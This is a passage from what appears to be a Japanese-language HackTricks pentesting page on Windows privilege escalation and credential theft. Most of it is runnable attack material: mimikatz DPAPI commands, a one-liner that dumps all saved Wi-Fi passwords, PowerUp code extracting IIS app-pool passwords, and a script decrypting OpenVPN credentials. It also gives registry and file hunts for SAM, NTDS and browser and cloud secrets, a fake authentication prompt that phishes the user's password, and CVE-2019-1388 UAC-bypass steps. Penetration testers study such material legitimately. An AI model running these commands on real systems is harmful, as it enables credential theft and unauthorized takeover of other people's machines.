Copy dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
mimikatzモジュール dpapi::cred
を適切な /masterkey
と共に使用して復号化することができます。
sekurlsa::dpapi
モジュールを使用して(root権限であれば)、メモリ から多くのDPAPI マスターキー を抽出できます。
page DPAPI - Extracting Passwords PowerShell資格情報
PowerShell資格情報 は、しばしばスクリプト や自動化タスクで使用され、暗号化された資格情報を便利に保存する手段として使用されます。これらの資格情報はDPAPI を使用して保護されており、通常は作成されたコンピューター上の同じユーザーによってのみ復号化できることを意味します。
ファイルに含まれるPS資格情報を復号化するには、以下の操作を行うことができます:
Copy PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username
john
PS C:\htb> $credential.GetNetworkCredential().password
JustAPWD!
Wifi
Wifi
Copy #List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*
保存されたRDP接続
HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
で見つけることができます
そしてHKCU\Software\Microsoft\Terminal Server Client\Servers\
内にもあります
最近実行されたコマンド
Copy HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
リモートデスクトップ資格情報マネージャ
Copy %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Mimikatz のdpapi::rdg
モジュールを適切な/masterkey
と共に使用して、.rdgファイルを復号化 します。
Mimikatzのsekurlsa::dpapi
モジュールを使用して、メモリから多くのDPAPIマスターキー を抽出できます。
スティッキーノート
人々はしばしばWindowsワークステーションでStickyNotesアプリを使用して、パスワード やその他の情報を保存しますが、これがデータベースファイルであることに気づいていません。このファイルはC:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite
にあり、常に検索して調査する価値があります。
AppCmd.exe
AppCmd.exeからパスワードを回復するには、管理者である必要があり、高い整合性レベルで実行する必要があります。
AppCmd.exe は%systemroot%\system32\inetsrv\
ディレクトリにあります。
このファイルが存在する場合、いくつかの資格情報 が構成されており、回復 できる可能性があります。
このコードはPowerUP から抽出されました。
Copy function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"
# Check if appcmd.exe exists
if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable
# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")
# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {
# Get application pool name
$PoolName = $_
# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd
# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd
# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}
# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {
# Get Virtual Directory Name
$VdirName = $_
# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd
# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd
# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}
# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}
SCClient / SCCM
C:\Windows\CCM\SCClient.exe
が存在するかどうかを確認します。
インストーラーは SYSTEM 権限で実行されます 。多くは DLL Sideloading に脆弱 である(情報は https://github.com/enjoiz/Privesc から取得)。
Copy $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }
ファイルとレジストリ(資格情報)
Puttyの資格情報
Copy reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there
Putty SSH ホストキー
Copy reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
レジストリ内のSSHキー
SSHプライベートキーは、レジストリキー HKCU\Software\OpenSSH\Agent\Keys
内に保存される可能性があるため、そこに興味深い情報がないかを確認する必要があります。
Copy reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
もしそのパス内にエントリが見つかった場合、おそらく保存されたSSHキーである可能性があります。これは暗号化されていますが、https://github.com/ropnop/windows_sshagent_extract を使用して簡単に復号化できます。
このテクニックに関する詳細はこちら: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/
ssh-agent
サービスが実行されていない場合、自動的に起動するようにしたい場合は、次のコマンドを実行してください:
Copy Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
このテクニックはもはや有効ではないようです。ssh-add
を使用してsshキーを作成し、それらを追加し、ssh経由でマシンにログインしようとしました。レジストリHKCU\Software\OpenSSH\Agent\Keys
は存在せず、procmonは非対称キー認証中にdpapi.dll
の使用を特定しませんでした。
Unattended files
Copy C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
あなたはmetasploit を使用してこれらのファイルを検索することもできます: post/windows/gather/enum_unattend
例の内容:
Copy <component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>
<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>
SAM & SYSTEM バックアップ
Copy # Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
クラウド資格情報
Copy #From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json
McAfee SiteList.xml
SiteList.xml というファイルを検索します
キャッシュされたGPPパスワード
以前は、Group Policy Preferences(GPP)を使用して複数のマシンにカスタムローカル管理者アカウントを展開する機能が利用可能でした。ただし、この方法には重大なセキュリティ上の欠陥がありました。まず第一に、SYSVOLにXMLファイルとして保存されているGroup Policy Objects(GPO)には、どのドメインユーザーでもアクセスできるようになっていました。第二に、これらのGPP内のパスワードは、公に文書化されたデフォルトキーを使用してAES256で暗号化されていましたが、認証済みユーザーであれば誰でも復号化できました。これは、ユーザーが昇格権を取得する可能性があるため、深刻なリスクをもたらしました。
このリスクを軽減するために、"cpassword"フィールドが空でないローカルにキャッシュされたGPPファイルをスキャンする機能が開発されました。そのようなファイルを見つけると、その機能はパスワードを復号化してカスタムPowerShellオブジェクトを返します。このオブジェクトには、GPPとファイルの場所に関する詳細が含まれており、このセキュリティ上の脆弱性の特定と修復を支援します。
これらのファイルを検索する場所は、C:\ProgramData\Microsoft\Group Policy\history
または_W Vista以前の場合は_C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history _です:
cPasswordを復号化するには:
Copy #To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
Copy Using crackmapexec to get the passwords:
パスワードを取得するためのcrackmapexecの使用:
Copy crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin
IIS Web Config
IIS ウェブ構成
Copy Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Copy C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
Copy Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Web.configの資格情報の例:
Copy <authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>
OpenVPNの資格情報
Copy Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}
foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]
$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)
Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}
ログ
Copy # IIS
C:\inetpub\logs\LogFiles\*
#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
資格情報の要求
常にユーザーに資格情報を入力してもらうか、別のユーザーの資格情報を入力してもらうように要求 することができます(クライアントに資格情報 を直接要求 することは非常にリスキー であることに注意してください):
Copy $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
#Get plaintext
$cred.GetNetworkCredential() | fl
資格情報を含む可能性のあるファイル名
以前にパスワード をクリアテキスト またはBase64 で含んでいたと思われる既知のファイル
Copy $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db #Firefox
key4.db #Firefox
places.sqlite #Firefox
"Login Data" #Chrome
Cookies #Chrome
Bookmarks #Chrome
History #Chrome
TypedURLsTime #IE
TypedURLs #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
提案されたすべてのファイルを検索します。
Copy cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Copy Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}
リサイクルビン内の資格情報
Binをチェックして、中にある資格情報を確認する必要があります
複数のプログラムに保存されたパスワードを回復 するには、次を使用できます:http://www.nirsoft.net/password_recovery_tools.html
レジストリ内部
資格情報を持つ可能性のある他のレジストリキー
Copy reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"
レジストリからopensshキーを抽出します。
ブラウザの履歴
ChromeまたはFirefox からのパスワードが保存されている可能性があるdbsをチェックする必要があります。
また、ブラウザの履歴、ブックマーク、お気に入りをチェックして、そこにパスワードが保存されているかもしれません。
ブラウザからパスワードを抽出するためのツール:
COM DLLの上書き
Component Object Model (COM) は、Windowsオペレーティングシステム内に組み込まれた技術であり、異なる言語のソフトウェアコンポーネント間の相互通信 を可能にします。各COMコンポーネントはクラスID (CLSID) によって識別され、各コンポーネントは1つ以上のインターフェースを介して機能を公開し、インターフェースID (IID) によって識別されます。
COMクラスとインターフェースは、レジストリ内のHKEY_ CLASSES_ ROOT\CLSID およびHKEY_ CLASSES_ ROOT\Interface に定義されます。このレジストリは、HKEY_ LOCAL_ MACHINE\Software\Classes + HKEY_ CURRENT_ USER\Software\Classes をマージして作成されるもので、HKEY_ CLASSES_ ROOT となります。
このレジストリのCLSIDsの中には、InProcServer32 という子レジストリがあり、DLL を指すデフォルト値 と、Apartment (シングルスレッド)、Free (マルチスレッド)、Both (シングルまたはマルチ)、またはNeutral (スレッドニュートラル) と呼ばれる値を含むThreadingModel があります。
基本的に、実行されるDLLのいずれかを上書きできれば、別のユーザーによって実行される場合には、特権を昇格 できます。
攻撃者がCOMハイジャックを永続化メカニズムとしてどのように使用するかを学ぶには、以下を参照してください:
page COM Hijacking ファイルとレジストリ内の汎用パスワード検索
ファイル内容の検索
Copy cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*
特定のファイル名を持つファイルを検索する
Copy dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini
レジストリを検索してキー名とパスワードを探す
Copy REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d
パスワードを検索するツール
MSF-Credentials Plugin は私が作成したmsfプラグイン で、被害者の中で資格情報を検索するすべてのmetasploit POSTモジュールを自動的に実行するためにこのプラグインを作成しました。
Winpeas は、このページに記載されているパスワードを含むすべてのファイルを自動的に検索します。
Lazagne はシステムからパスワードを抽出するための別の優れたツールです。
ツールSessionGopher は、このデータを平文で保存する複数のツール(PuTTY、WinSCP、FileZilla、SuperPuTTY、およびRDP)のセッション 、ユーザー名 、およびパスワード を検索します。
Copy Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
リークしたハンドラ
SYSTEMとして実行されているプロセスが、完全なアクセス権限で新しいプロセスを開く (OpenProcess()
)とします。同じプロセスはまた、低い特権で新しいプロセス (CreateProcess()
)を作成し、ただしメインプロセスのすべてのオープンハンドルを継承します 。
その後、低特権プロセスに完全なアクセス権限がある場合 、OpenProcess()
で作成された特権プロセスへのオープンハンドルを取得 し、シェルコードをインジェクト できます。
この脆弱性を検出および悪用する方法 についての詳細は、こちらの例を参照してください。
異なる権限レベルで継承されたプロセスおよびスレッドのオープンハンドラをテストおよび悪用する方法についてのより詳しい説明については、この他の投稿 を読んでください。 .
名前付きパイプクライアントの権限昇格
パイプ として参照される共有メモリセグメントは、プロセス間通信とデータ転送を可能にします。
Windowsには、異なるネットワークを介しても関係のないプロセスがデータを共有できるようにするNamed Pipes と呼ばれる機能があります。これは、名前付きパイプサーバ と名前付きパイプクライアント として定義された役割を持つクライアント/サーバアーキテクチャに似ています。
クライアント がパイプを介してデータを送信すると、パイプを設定したサーバ は、必要なSeImpersonate 権限を持っていれば、クライアント のアイデンティティを引き継ぐ 能力を持ちます。あなたが模倣できる特権プロセス を通じてデータを送信するパイプを設定することで、そのプロセスが確立したパイプとやり取りするときに、そのプロセスのアイデンティティを取得する機会が生まれ、高い特権を獲得 することができます。このような攻撃を実行する手順については、役立つガイドがこちら とこちら にあります。
また、以下のツールを使用すると、burpなどのツールを使用して名前付きパイプ通信を傍受 できます:https://github.com/gabriel-sztejnworcel/pipe-intercept また、このツールを使用すると、すべてのパイプをリストおよび表示して特権昇格を見つけることができます :https://github.com/cyberark/PipeViewer
その他
パスワードを監視するためのコマンドラインの監視
ユーザーとしてシェルを取得すると、スケジュールされたタスクや他のプロセスが実行されている場合、コマンドラインで資格情報が渡される 可能性があります。以下のスクリプトは、プロセスのコマンドラインを2秒ごとにキャプチャし、現在の状態と前の状態を比較して、違いがあれば出力します。
Copy while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}
プロセスからパスワードを盗む
低特権ユーザーからNT\AUTHORITY SYSTEMへ(CVE-2019-1388)/ UAC バイパス
グラフィカルインターフェースにアクセスできる場合(コンソールまたはRDP経由)かつUACが有効になっている場合、Microsoft Windowsの一部のバージョンでは、特権のないユーザーからターミナルや他のプロセス(例: "NT\AUTHORITY SYSTEM")を実行することが可能です。
これにより、特権を昇格させ、同時に同じ脆弱性を利用してUACをバイパスすることができます。さらに、何もインストールする必要はなく、プロセス中に使用されるバイナリは、Microsoftによって署名されています。
影響を受けるシステムの一部は次のとおりです:
Copy SERVER
======
Windows 2008r2 7601 ** link OPENED AS SYSTEM **
Windows 2012r2 9600 ** link OPENED AS SYSTEM **
Windows 2016 14393 ** link OPENED AS SYSTEM **
Windows 2019 17763 link NOT opened
WORKSTATION
===========
Windows 7 SP1 7601 ** link OPENED AS SYSTEM **
Windows 8 9200 ** link OPENED AS SYSTEM **
Windows 8.1 9600 ** link OPENED AS SYSTEM **
Windows 10 1511 10240 ** link OPENED AS SYSTEM **
Windows 10 1607 14393 ** link OPENED AS SYSTEM **
Windows 10 1703 15063 link NOT opened
Windows 10 1709 16299 link NOT opened
この脆弱性を悪用するには、以下の手順を実行する必要があります:
Copy 1) Right click on the HHUPD.EXE file and run it as Administrator.
2) When the UAC prompt appears, select "Show more details".
3) Click "Show publisher certificate information".
4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.
5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.
6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.
7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.
8) Remember to cancel setup and the UAC prompt to return to your desktop.
あなたは、次のGitHubリポジトリにすべての必要なファイルと情報を持っています:
https://github.com/jas502n/CVE-2019-1388
管理者権限の中から高い整合性レベルへ / UAC バイパス
整合性レベルについて学ぶ ためにこれを読んでください:
page Integrity Levels 次に、UACおよびUACバイパスについて学ぶ ためにこれを読んでください:
page UAC - User Account Control 高い整合性からシステムへ
新しいサービス
すでに高い整合性プロセスで実行している場合、システムへの移行 は新しいサービスを作成して実行するだけ で簡単です:
Copy sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename
AlwaysInstallElevated
ハイインテグリティプロセスから 、AlwaysInstallElevatedレジストリエントリを有効に して、.msi ラッパーを使用して逆シェルをインストール することができます。
関連するレジストリキーと_.msi_パッケージのインストール方法についての詳細はこちら。
High + SeImpersonate権限をSystemに
こちらでコードを見つけることができます 。
SeDebug + SeImpersonateからFull Token権限へ
これらのトークン権限を持っている場合(おそらくすでにハイインテグリティプロセスで見つけることができるでしょう)、SeDebug権限を持たないプロセスをほぼすべてのプロセス (保護されていないプロセスを除く)で開くことができ、プロセスのトークンをコピー し、そのトークンで任意のプロセスを作成 することができます。
このテクニックを使用すると、通常はすべてのトークン権限を持つSYSTEMとして実行されているプロセスが選択 されます(はい、すべてのトークン権限を持たないSYSTEMプロセスを見つけることができます)。
提案されたテクニックを実行するコードの例はこちらで見つけることができます 。
Named Pipes
このテクニックは、getsystem
でエスカレーションするためにmeterpreterによって使用されます。このテクニックは、パイプを作成し、そのパイプに書き込むためにサービスを作成/悪用する ことで構成されます。その後、SeImpersonate 権限を使用してパイプクライアント(サービス)のトークンを偽装 することができるサーバー は、SYSTEM権限を取得します。
名前付きパイプについて詳しく学びたい場合は、こちらを読んでください 。
ハイインテグリティからSystemへの移行方法の例については、こちらを読んでください 。
Dll Hijacking
SYSTEM で実行されているプロセス によってロードされているdllを乗っ取る ことができれば、その権限で任意のコードを実行できます。したがって、Dll Hijackingはこの種の特権昇格にも役立ちます。さらに、ハイインテグリティプロセスからは、dllをロードするために使用されるフォルダに書き込み権限 があるため、はるかに簡単に達成 できます。
Dllハイジャッキングについて詳しくはこちら 。
AdministratorまたはNetwork ServiceからSystemへ
LOCAL SERVICEまたはNETWORK SERVICEからフル権限へ
読む: https://github.com/itm4n/FullPowers
その他のヘルプ
Static impacket binaries
便利なツール
Windowsローカル特権昇格ベクターを探すための最高のツール: WinPEAS
PS
PrivescCheck
PowerSploit-Privesc(PowerUP) -- 設定ミスと機密ファイルをチェック( こちらを確認 )。検出済み。
JAWS -- 可能な設定ミスをチェックし、情報を収集( こちらを確認 )。
privesc -- 設定ミスをチェック
SessionGopher -- PuTTY、WinSCP、SuperPuTTY、FileZilla、およびRDPの保存されたセッション情報を抽出します。ローカルで -Thorough を使用します。
Invoke-WCMDump -- 資格情報をCredential Managerから抽出します。検出済み。
DomainPasswordSpray -- 収集したパスワードをドメイン全体にスプレーします
Inveigh -- InveighはPowerShell ADIDNS/LLMNR/mDNS/NBNSスプーファーおよび中間者ツールです。
WindowsEnum -- 基本的な特権昇格Windows列挙
Sherlock ~~ ~~ -- 既知の特権昇格脆弱性を検索(Watson用に非推奨)
WINspect -- ローカルチェック (管理者権限が必要)
Exe
Watson -- 既知の特権昇格脆弱性を検索(VisualStudioを使用してコンパイルする必要があります)(事前コンパイル済み )
SeatBelt -- ホストを列挙し、設定ミスを検索します(特権昇格よりも情報収集ツール)(コンパイルが必要) ( 事前コンパイル済み )
LaZagne -- 多くのソフトウェアから資格情報を抽出します(githubに事前コンパイルされたexeがあります)
SharpUP -- PowerUpのC#へのポート
Beroot ~~ ~~ -- 設定ミスをチェック(githubに事前コンパイルされた実行可能ファイルがあります)。お勧めしません。Win10ではうまく動作しません。
Windows-Privesc-Check -- 可能な設定ミスをチェック(pythonからのexe)。お勧めしません。Win10ではうまく動作しません。
Bat
winPEASbat -- この投稿に基づいて作成されたツール(適切に機能させるためにaccesschkは必要ありませんが、使用できます)。
Local
Windows-Exploit-Suggester -- systeminfo の出力を読み取り、動作するエクスプロイトを推奨します(ローカルpython)
Windows Exploit Suggester Next Generation -- systeminfo の出力を読み取り、動作するエクスプロイトを推奨します(ローカルpython)
Meterpreter
multi/recon/local_exploit_suggestor
プロジェクトを正しい.NETのバージョンを使用してコンパイルする必要があります(こちらを参照 )。被害者ホストでインストールされている.NETのバージョンを確認するには、次の操作を行います:
Copy C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
参考文献
ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) !
サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝 してみたいですか?または最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード したいですか?SUBSCRIPTION PLANS をチェックしてください!